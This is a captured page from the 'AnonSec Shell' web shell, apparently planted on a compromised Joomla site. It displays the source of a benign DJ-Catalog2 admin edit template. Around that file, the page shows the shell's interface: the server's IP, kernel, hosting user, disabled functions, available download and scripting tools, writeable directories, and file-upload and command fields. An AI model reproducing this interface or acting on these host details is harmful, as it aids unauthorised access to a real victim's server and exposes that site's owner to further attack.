AnonSec Shell
Server IP : 54.36.91.62  /  Your IP : 216.73.217.112
Web Server : Apache
System : Linux webm013.cluster127.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
User : coopiak ( 151928)
PHP Version : 8.3.23
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/coopiak/amisdesseniors-fr/administrator/components/com_djcatalog2/views/field/tmpl/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/coopiak/amisdesseniors-fr/administrator/components/com_djcatalog2/views/field/tmpl/edit.php
<?php
/**
 * @package DJ-Catalog2
 * @copyright Copyright (C) DJ-Extensions.com, All rights reserved.
 * @license http://www.gnu.org/licenses GNU/GPL
 * @author url: http://dj-extensions.com
 * @author email contact@dj-extensions.com
 */

// no direct access
defined('_JEXEC') or die;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Factory;
use Joomla\CMS\Router\Route;
use Joomla\CMS\Layout\LayoutHelper;
use Joomla\CMS\Language\Associations;
Joomla\CMS\HTML\HTMLHelper::_('jquery.framework');

//Joomla\CMS\HTML\HTMLHelper::_('bootstrap.tooltip');
Joomla\CMS\Factory::getDocument()->getWebAssetManager()->useScript('form.validate');
//Joomla\CMS\HTML\HTMLHelper::_('formbehavior.chosen', 'select');

//Joomla\CMS\HTML\HTMLHelper::_('script', 'jui/jquery.minicolors.min.js', array('version' => 'auto', 'relative' => true));
//Joomla\CMS\HTML\HTMLHelper::_('stylesheet', 'jui/jquery.minicolors.css', array('version' => 'auto', 'relative' => true));

//Joomla\CMS\HTML\HTMLHelper::_('script', 'jui/jquery.minicolors.min.js', false, true);
//Joomla\CMS\HTML\HTMLHelper::_('stylesheet', 'jui/jquery.minicolors.css', false, true);
$wa = Joomla\CMS\Factory::getApplication()->getDocument()->getWebAssetManager();
$wa->usePreset('minicolors')
	->useScript('field.color-adv');

// Required for proper display of fields generated by com_associations
//Joomla\CMS\HTML\HTMLHelper::_('formbehavior.chosen', 'select');

// if &tmpl=component used on first invocation, ensure it's on subsequent ones too
$input = Factory::getApplication()->input;
$tmpl = $input->getCmd('tmpl', '') === 'component' ? '&tmpl=component' : '';
?>
<script type="text/javascript">
    Joomla.submitbutton = function(task)
    {
        if (task == 'field.cancel' || document.formvalidator.isValid(document.getElementById('field-form'))) {
            Joomla.submitform(task, document.getElementById('field-form'));
        }
        else {
            alert('<?php echo $this->escape(Text::_('JGLOBAL_VALIDATION_FORM_FAILED'));?>');
        }
    }
</script>

<form
        action="<?php echo Route::_('index.php?option=com_djcatalog2&view=field&layout=edit&id='.(int) $this->item->id . $tmpl); ?>"
        method="post" name="adminForm" id="field-form" class="form-validate"
        enctype="multipart/form-data">
	<?php echo Joomla\CMS\HTML\HTMLHelper::_('uitab.startTabSet', 'myTab', array('recall' => true, 'active' => 'details')); ?>
	<?php echo Joomla\CMS\HTML\HTMLHelper::_('uitab.addTab', 'myTab', 'details', Text::_('COM_DJCATALOG2_EDIT')); ?>
    <fieldset>
		<?php echo empty($this->item->id) ? Text::_('COM_DJCATALOG2_NEW') : Text::_('COM_DJCATALOG2_EDIT'); ?>
        <div class="row row-fluid">
            <div class="col-md-4">
				<?php echo $this->form->renderField('name'); ?>
				<?php echo $this->form->renderField('label'); ?>
				<?php echo $this->form->renderField('language'); ?>
				<?php echo $this->form->renderField('label_type'); ?>
				<?php echo $this->form->renderField('imagelabel'); ?>
				<?php echo $this->form->renderField('alias'); ?>
				<?php echo $this->form->renderField('id'); ?>
				<?php echo $this->form->renderField('group_id'); ?>
				<?php echo $this->form->renderField('type'); ?>
				<?php echo $this->form->renderField('required'); ?>

				<?php echo $this->form->renderField('visibility'); ?>
				<?php echo $this->form->renderField('cart_variant'); ?>
				<?php echo $this->form->renderField('separate_column'); ?>
				<?php echo $this->form->renderField('filterable'); ?>
				<?php echo $this->form->renderField('filter_type'); ?>
				<?php echo $this->form->renderField('searchable'); ?>
				<?php echo $this->form->renderField('sortable'); ?>
				<?php echo $this->form->renderField('comparable'); ?>
				<?php echo $this->form->renderField('published'); ?>
            </div>
            <div class="col-md-8 form-horizontal">
                <div id="fieldtypeSettings"></div>
            </div>
        </div>
        <div class="row row-fluid">
            <div class="col-md-12">
				<?php echo $this->form->renderField('description'); ?>
            </div>
        </div>
    </fieldset>
	<?php echo Joomla\CMS\HTML\HTMLHelper::_('uitab.endTab'); ?>
	<?php if (Associations::isEnabled()) : ?>
		<?php echo Joomla\CMS\HTML\HTMLHelper::_('uitab.addTab', 'myTab', 'associations', Text::_('COM_DJCATALOG2_ASSOCIATIONS')); ?>
        <fieldset class="adminform">
            <div class="row row-fluid">
                <div class="col-md-12">
					<?php echo LayoutHelper::render('joomla.edit.associations', $this);  ?>
                </div>
            </div>
        </fieldset>
		<?php echo Joomla\CMS\HTML\HTMLHelper::_('uitab.endTab'); ?>
	<?php endif; ?>
	<?php echo Joomla\CMS\HTML\HTMLHelper::_('uitab.endTabSet'); ?>

    <div class="clr"></div>
    <input type="hidden" name="task" value="" />
	<?php echo Joomla\CMS\HTML\HTMLHelper::_('form.token'); ?>
</form>

Anon7 - 2022
AnonSec Team